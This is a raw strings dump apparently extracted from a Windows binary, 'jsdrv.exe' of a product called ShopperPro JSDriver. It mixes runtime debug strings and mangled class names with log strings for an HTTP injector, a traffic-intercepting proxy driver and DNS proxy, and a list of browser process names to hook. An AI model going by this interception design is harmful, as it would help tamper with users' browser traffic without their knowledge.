[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d
[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d
[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule
AppleWebKit
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s
[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.
[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.
AccelerationLogic::AccelerateIsSupported
[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)
[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s
[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s
[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s
[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s
[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d
NonSupportRangeServersList
[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s
[AccelerationLogic::CreateAnyRule] FDM=%d
[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported
[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s
[AccelerationLogic::Reset] FDM=%d
[~AccelerationLogic - %p] FDM=%d - ... Leave
[~AccelerationLogic - %p] FDM=%d - Enter ...
[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d
[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes
[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld
[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header
[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d
[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld
[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d
[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d
[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p
[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld
[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes
[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d
[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes
[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d
[CHttpCacheData] CD:%d, Url: %s
[~CHttpCacheData] CD:%d
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...
[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d
[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)
[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld
[CacheWorker::SetSize - %p] Cache size: %d
[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d
[CacheWorker::SetEncryptionKey - %p] Key: %p
[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::AppendToCache - %p] Bytes in buffer: %d
[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld
[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes
[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes
[CacheWorker::Write - %p] *** Finished to download & write job:%d ***
[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d
[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::Write - %p] ___Warning already finished job:%d
[CacheWorker::Write - %p] Bytes in buffer: %d
[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.
[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.
[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***
[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.
f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum
f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime
f:\dd\vctools\crt_bld\self_x86\crt\src\locale
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon
%d / %m / %y
%I : %M : %S %p
%m / %d / %y
%b %d %H : %M : %S %Y
f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c
Client hook allocation failure at file %hs line %d.
Memory allocated at %hs(%d).
Client hook re-allocation failure at file %hs line %d.
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory after end of heap buffer.
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.
CRT detected that the application wrote to memory before start of heap buffer.
CRT detected that the application wrote to a heap buffer that was freed.
crt block at 0x%p, subtype %x, %Iu bytes long.
client block at 0x%p, subtype %x, %Iu bytes long.
%hs(%d) :
#File Error#(%d) :
Data: <%s> %s
f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c
Visual C   CRT: Not enough memory to complete call to strerror.
f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
_CrtDbgReport: String too long or IO Error
Debug %s!
Program: %s%s%s%s%s%s%s%s%s%s%s%s
f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c
f:\dd\vctools\crt_bld\self_x86\crt\src\read.c
%s(%d) : %s
_CrtDbgReport: String too long or Invalid characters in String
GetProcessWindowStation
f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c
f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c
Broken pipe
Inappropriate I/O control operation
Operation not permitted
f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c
f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c
portuguese-brazilian
operator
f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Content-Type: multipart/form-data; boundary=%s
ICACLS.EXE
SOFTWARE\%s
Global\%s_CONFIG_XML
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
Injector dump %s: %s
inj_rem remain %d
inj_loc remain %d
%s PutChunk send %d bytes to server
%s PutChunk send %d bytes to client
%s close pRemoteInj
%s close pLocalInj
New EmuSession flow %lld, now %d
Injector: Flow %lld, create session %X
Injector: Flow %lld, FDM=%d (%d)
%s ConnectedToVA, pLocalInj %p, pLocalVA %p
Delete EmuSession flow %lld, remain %d, chunks %d
%s delete Session %X
%s HandleChunk FWPS_STREAM_FLAG_SEND len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d
%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT
%s HandleChunk FWPS_STREAM_FLAG_ABORT
Injector: FDM=%d (%d)
%s ConnectToInj, Session not found pLocalVA %X
%s ConnectToInj
Cleanup %s
allports
iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe
[Stproxy]: open driver HANDLE %p, err %d
jsdriver: error parsing Config.json
parsing Config.json
IOCTL_ENABLE_INTERCEPT res %d
SetThreadPriority %d
error %d
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
0123456789.eE- 
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum
C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb
WSAJoinLeaf
WS2_32.dll
VERSION.dll
USERENV.dll
HttpQueryInfoA
InternetOpenUrlA
InternetCrackUrlA
HttpSendRequestA
HttpAddRequestHeadersA
HttpOpenRequestA
WININET.dll
GetProcessHeap
GetCPInfo
PeekNamedPipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
CloseWindowStation
SetProcessWindowStation
OpenWindowStationA
USER32.dll
RegNotifyChangeKeyValue
RegOpenKeyExA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegOpenKeyA
RegEnumKeyA
RegEnumKeyExA
RegQueryInfoKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
HttpEndRequestA
HttpSendRequestExA
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AVSaveWatchUrl@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@
HTTP://
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
.?AVCAsyncUdpSocket@@
.?AVCExecuteUpdate@@
..\Common\Base64.cpp
..\Common\Base64MultiBytes.cpp
<>"#%{}|\^~[]`' ?&
<>"#{}|\^~[]`' ?&
.?AVCHttpAsync@@
.?AVIHttpProxyWorker@@
.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@
.?AVIInjHttpProxyServer@@
.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@
.?AV?$IBaseInterface@VIHttpProxyServer@@@@
.?AVIHttpProxyServer@@
.?AVInjHttpProxyServer@@
.?AVHttpProxyServer@@
.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@
.?AVIHttpStreamSink@@
.?AVIHttpFileDownloadMgr@@
.?AVInjHttpProxyLocal@@
.?AVHttpProxyLocal@@
.?AVHttpProxyWorker@@
.?AVInjHttpProxyRemote@@
.?AVHttpProxyRemote@@
.?AVHttpParser@@
VA_SUBJECT_FMD_%d_WORKER_CREATED
VA_SUBJECT_FMD_%d_RANGE_CREATED
VA_SUBJECT_FMD_%d
VA_SUBJECT_FMD_%d_WORKER_%d
.?AVHttpCookie@@
.?AVHttpCookieJar@@
.?AV?$IBaseInterface@VIHttpCacheManager@@@@
.?AVIHttpCacheManager@@
.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@
.?AVCHttpCacheManager@@
.?AVCProxyServerPassThrough@@
.?AVCHttpCacheData@@
zcÁ
.?AVCHttp@@
2.6.8418.1499
%Program Files% (x86)\ShopperPro\JSDriver\1499.0.0.0\jsdrv.exe
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
8&8,8/949{9
0F0X0
>%?/?^?}?
2(2-222x2}2
>5>:>?> ?%?
7#777=7\7
6f6F6X6
>2?8???}?
< <$<(<,<0<4<~<
5#565;5|5
:,:0:4:8:<:
8-8}8
0-0A0U0i0}0
= >%>[?`?
1 20252:2
:*:8:&;5;|;
?/?4?9?|?
6 6$6(6,6
=,>0>4>8><>@>
*0004080<0
&0 000|0
99S9^9
="=(=5=:=@=
91969;9{9
9(9[9`93:
3?3T3f3n3
7 7$7(7,7
= =$=(=,=0=4=
1 1$1(1,1014181<1
2 2$2(2,2
; ;$;(;,;0;
4 4$4(4,4044484<4@4
; ;$;(;,;0;4;8;<;@;
9 9$9(9,9094989<9@9
,<0<4<8<
8 8$8(8,8084888<8$>(>
5 5$5(5,5054585<5
? ?$?(?,?0?4?8?
9$9,989\9|9
3(303<3`3
;,<8<\<|<
>$>,>8>\>|>
;$;,;4;@;`;
=(=0=<=`=
: ;,;4;`;
1$1<1@1`1
3 3$3<3@3\3`3|3
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator   
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --
dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator   
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *
std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *
std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator   
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator   
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *
std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *
std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator *
